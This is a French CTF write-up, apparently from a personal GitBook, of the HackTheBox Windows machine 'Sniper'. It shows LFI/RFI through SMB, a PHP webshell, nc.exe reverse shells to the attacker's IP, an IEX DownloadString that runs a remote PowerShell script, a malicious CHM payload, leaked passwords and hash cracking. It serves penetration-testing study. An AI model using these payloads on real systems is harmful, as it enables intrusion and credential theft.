> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-medium/sniper-hackthebox-writeup.md). # Rédaction HackTheBox Sniper Rédaction HackTheBox de la machine Windows Sniper de difficulté moyenne couvrant l’inclusion de fichier local (LFI), l’inclusion de fichier à distance (RFI) (échec), l’inclusion de fichier à distance via le serveur SMB (technique net usershare) (succès) {% embed url="" %} {% hint style="warning" %} Compétences : * Inclusion de fichier local (LFI) * Inclusion de fichier à distance (RFI) (Échec) * Inclusion de fichier à distance via le serveur SMB (technique net usershare) (Succès) * Création d'un webshell et obtention d'une exécution de commandes à distance (RCE) * Fuite d'informations (pivotement vers l'utilisateur) * Jouer avec Chisel et ScriptBlocks en utilisant Invoke-Command * Création d'un fichier CHM malveillant (Out-CHM.ps1) (élévation de privilèges) {% endhint %} ## Reconnaissance **Configuration de l'espace de travail :** Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

**Vérification de la connectivité VPN** Vérifiez la connectivité VPN afin d'assurer une communication stable avec la machine cible.

**Découverte des ports ouverts avec Nmap :** Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap : ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.151 -oG allPorts ```

**Analyse des ports ouverts avec extractPorts :** Utilisez la fonction extractPorts pour afficher les ports ouverts dans un format concis et les copier dans le presse-papiers. (80,135,139,445,496,67)

**Analyse des versions des ports avec Nmap :** Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" : ```bash nmap -sCV -p80,135,139,445,49667 10.10.10.151 -oN targeted ```

### Port 80 :

**Analyse avec `whatweb`:** Nous avons utilisé `whatweb` pour identifier les technologies utilisées par le serveur web : {% code overflow="wrap" fullWidth="false" %} ```bash whatweb 10.10.10.151 http://10.10.10.151 [200 OK] Bootstrap[3.0.0], Pays[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.151], JQuery[2.1.3], Microsoft-IIS[10.0], PHP[7.3.1], Script, Titre[Sniper Co.], X-Powered-By[PHP/7.3.1] ``` {% endcode %} ## **Vulnérabilité LFI :** Sur la page de changement de langue, il y avait un `lang` paramètre pour charger différents fichiers PHP selon la langue choisie.

Nous avons testé avec un fichier système local : ```url http://10.10.10.151/blog/?lang=/Windows/System32/drivers/etc/hosts ``` * Cela nous a permis d'afficher le contenu du `hosts` fichier.

**Tentatives de lecture de fichiers sensibles avec `php://filter`:** Nous avons essayé d'utiliser la LFI pour lire le `index.php` fichier du serveur web Microsoft IIS situé dans `/inetpub/wwwroot/index.php`, mais l'opération via `php://filter` n'a pas fonctionné.

```url php://filter/convet.base64-encode/ressource=/inetpub/wwwroot/index.php ```

### Inclusion de fichier à distance (RFI) (Échec) #### Test RFI via un serveur web distant : Nous avons essayé de charger un fichier distant via l' `?lang=http://10.10.14.3/index.html` URL en pointant vers notre serveur web local avec Python3. ```bash python3 -m http.server 80 ``` ```url ?lang=http://10.10.14.3/index.html ``` Mais cela n'a pas fonctionné.

## Inclusion de fichier à distance (serveur SMB) **Créer un serveur SMB :** Nous avons créé un serveur SMB local en utilisant `smbserver.py` et partagé le répertoire courant : ```bash smbserver.py share $(pwd) -smb2support ``` Puis nous avons essayé de charger un fichier depuis le serveur SMB en modifiant le `lang` paramètre ```bash ?lang=/10.10.14.3/share/index.html ``` * Cette fois, le serveur a correctement interprété notre `index.html` fichier, en affichant son contenu (« Hello World »).

**Créer un fichier webshell PHP (`cmd.php)`** Nous avons créé un `cmd.php` fichier sur notre serveur SMB pour exécuter des commandes à distance via le `cmd` : ```bash " . shell_exec($_GET['cmd']) . ""; ?> ``` /*/* Exécution de commandes via SMB/*/* ```bash //10.10.14.3/share/cmd.php&cmd= ``` En utilisant l'URL suivante, nous avons exécuté le `whoami` commande : ```bash //10.10.14.3/share/cmd.php&cmd=whoami ```

### Shell inverse (nc.exe) **Téléchargement `nc.exe` pour le reverse shell :**/ Nous avons récupéré le `nc.exe` binaire des outils présents en cours d'exécution dans `/usr/share/SecLists/Web-Shells/FuzzDB/nc.exe` et l'avons copié dans le répertoire de travail. ```bash locate nc.exe cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe . ``` **Écoute sur le port 443 :**/ Nous avons mis en place un listener avec `nc` pour écouter sur le port 443 : ```bash rlwrap nc -nvlp 443 ``` **Exécution du reverse shell via SMB :**/ Nous avons ensuite lancé un reverse shell en pointant le `cmd` paramètre vers notre fichier ``` ?lang=//10.10.14.3/share/cmd.php&cmd=//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 443 ``` Nous avons donc obtenu un reverse shell sur notre machine.

## Élévation de privilèges **Recherche de fichiers sensibles :**/ Nous avons recherché des informations sensibles dans les fichiers PHP et trouvé le `db.php` fichier contenant les identifiants de la base de données : * Utilisateur : `dbuser` * Mot de passe : `36mEAhz/B8xQ~2VM`

**Validation des identifiants pour un autre utilisateur :**

Nous avons découvert un autre utilisateur nommé **Chris** en plus de l'utilisateur **Administrateur**. Nous avons utilisé **CrackMapExec** pour vérifier si les `Chris` identifiants étaient valides : ```bash crackmapexec smb 10.10.10.151 -u 'Chris' -p '36mEAhz/B8xQ~2VM' ``` * La connexion a réussi.

**Vérifier les privilèges de l'utilisateur "Chris" :** * Nous avons observé que l'utilisateur `Chris` appartenait au groupe **Remote Management User** , ce qui lui permettait de se connecter à distance.

/*/* Analyse des ports ouverts :/*/* Le port requis pour la connexion à distance (port 5985, utilisé par WinRM) n'était pas ouvert à l'extérieur, mais en interne. Nous avons utilisé `netstat` pour vérifier les ports à l'écoute sur la machine cible : ```bash netstat -an | findstr "LISTEN" ```

## Redirection de port (5985 WinRM) ### 1. PowerShell Nous avons lancé PowerShell sur notre machine d'attaque : ```bash powershell ``` Nous avons récupéré le nom de l'environnement Windows avec la commande `hostname`, et nous avons trouvé que le nom d'hôte était `Sniper`. ```powershell hostname ``` Ensuite, nous avons créé une variable pour l'utilisateur `Chris` et une autre pour le mot de passe en utilisant `ConvertTo-SecureString`: ```powershell $user = "Sniper/Chris" ``` ```powershell $password = ConvertTo-SecureString '36mEAhz/B8xQ~2VM' -AsPlainText -Force ``` Ensuite, nous avons créé un `PSCredential` objet afin de pouvoir exécuter des commandes à distance sur la machine cible : ```bash $cred = New-Object System.Management.Automation.PSCredential($user, $password) ``` **Exécution de commandes à distance :**/ Nous avons utilisé la commande suivante pour exécuter `whoami` à distance et valider l'accès : ```powershell Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {whoami} ``` * Cela nous a permis de confirmer que nous étions bien connectés en tant que **Chris**.

**Shell inverse :**/ Pour obtenir un accès complet au système, nous avons mis en place un listener sur le port 4444 : ```bash rlwrap nc -nlvp 4444 ``` Puis nous avons lancé un reverse shell en utilisant `nc.exe` depuis notre serveur SMB : {% code overflow="wrap" %} ```powershell Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 4444 ``` {% endcode %}

### 2. Chisel {% embed url="" %} **Téléchargement et préparation des fichiers :**/ Nous avons téléchargé les fichiers compressés **Chisel** fichiers, à savoir : * `chisel-linux` * `chisel-windows.exe` {% embed url="" %} {% embed url="" %} Après les avoir extraits, nous avons transféré le **Chisel** fichier pour Windows vers la machine cible : ```bash copy //10.10.14.3/smb/chisel-windows.exe chisel-windows.exe ```

**Mise en écoute sur la machine d'attaque avec Chisel :**/ Nous avons lancé **Chisel** en mode serveur sur la machine d’attaque sur le port 8888 : ```bash ./chisel-linux server -p 8888 -reverse ``` Ensuite, sur la machine Windows cible, nous avons exécuté **Chisel** en mode client pour se connecter à notre machine d'attaque et rediriger le port 5985 vers notre machine : ```bash chisel-windows.exe client 10.10.14.3:8888 R:5985:127.0.0.1:5985 ```

**Vérification de la redirection du port avec `lsof`:**/ Nous avons vérifié que le port 5985 était bien redirigé grâce à la commande :

**Connexion avec WinRM :**/ Nous avons utilisé **CrackMapExec** pour tester la connexion via **WinRM** sur le port 5985 redirigé : ```bash crackmapexec winrm 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM' ``` * Nous avons obtenu le symbole **compromis**, confirmant que nous avions réussi à accéder à la machine via WinRM.

**Connexion finale avec Evil-WinRM :**/ Enfin, nous avons utilisé **Evil-WinRM** pour obtenir un shell distant en tant que **Chris**: ```bash evil-winrm -i 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM' ``` ### Drapeau user.txt :)

**Exploration du répertoire « docs » :**/ À la racine de **Windows**, nous avons trouvé un dossier **docs** contenant un `note.txt` fichier avec le message suivant :

> Salut Chris, > > Tes compétences PHP sont vraiment mauvaises. Contacte Yamitenshi pour qu'il t'apprenne à l'utiliser, puis corrige le site car il y a beaucoup de bugs. J'espère aussi que tu as préparé la documentation de notre nouvelle application. Dépose-la ici quand tu auras fini. > > Cordialement, / le PDG de Sniper. **Recherche de la documentation dans le système :**/ Nous avons recherché la documentation mentionnée par le PDG et l'avons trouvée dans le **Downloads** répertoire sous le **instructions.chm** fichier.

### **Création d'un fichier CHM malveillant :** Après avoir découvert que le PDG cherchait à consulter des fichiers **CHM** dans le répertoire **docs** , nous avons cherché sur Internet comment créer des fichiers CHM malveillants. {% embed url="" %} **Téléchargement de HTML Help Tool :**/ Nous avons téléchargé **HTML Help** et utilisé un script PowerShell pour créer un fichier CHM malveillant * [HTML Help](https://archive.org/download/htmlhelp/htmlhelp.exe) ```bash IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Client/Out-CHM.ps1') ``` Puis nous avons modifié le script pour exécuter une commande malveillante à distance via **nc.exe**: ```bash Out-CHM -Payload "//10.10.14.3/smb/nc.exe -e cmd 10.10.14.3 443" -HHCPath "C:/Program Files (x86)/HTML Help Workshop" ```

**Injection du fichier CHM malveillant dans le répertoire cible :**/ Nous avons configuré un serveur SMB sur notre machine d'attaque pour transférer le fichier malveillant vers la machine Windows cible : ```bash smbserver.py smbFolder $(pwd) -smb2support -username jordan -password jordan1234 ``` /*/* Connexion au partage SMB depuis la machine victime :/*/*/ Depuis la machine Windows cible, nous avons monté le partage SMB et copié le `doc.chm` fichier : ```powershell net use x: //192.168.0.190/smbFolder /user:jordan jordan1234 copy ./doc.chm x:/doc.chm ``` **Attente d'un reverse shell :**/ Nous avons lancé un listener sur notre machine d'attaque, en attente d'une connexion reverse shell : ```bash rlwrap nc -nlvp 443 ```

/*/* Problème rencontré :/*/*/ Bien que le fichier CHM ait été consulté, nous n'avons pas reçu de reverse shell. Cependant, nous avons réussi à capturer un **SMB Relay V2** sur notre serveur. Cela nous a fourni un hachage d'authentification pour l'utilisateur `Administrateur`

#### **Craquer le hachage Administrator :** ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` `Administrator:butterfly!#1`

#### **Connexion en tant qu'administrateur :** Avec les identifiants obtenus, nous avons utilisé **Evil-WinRM** pour nous connecter à la machine en tant qu'administrateur : ```bash evil-winrm -i 10.10.14.3 -u 'Administrator' -p 'butterfly!#1' ```

### Flag root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-medium/sniper-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.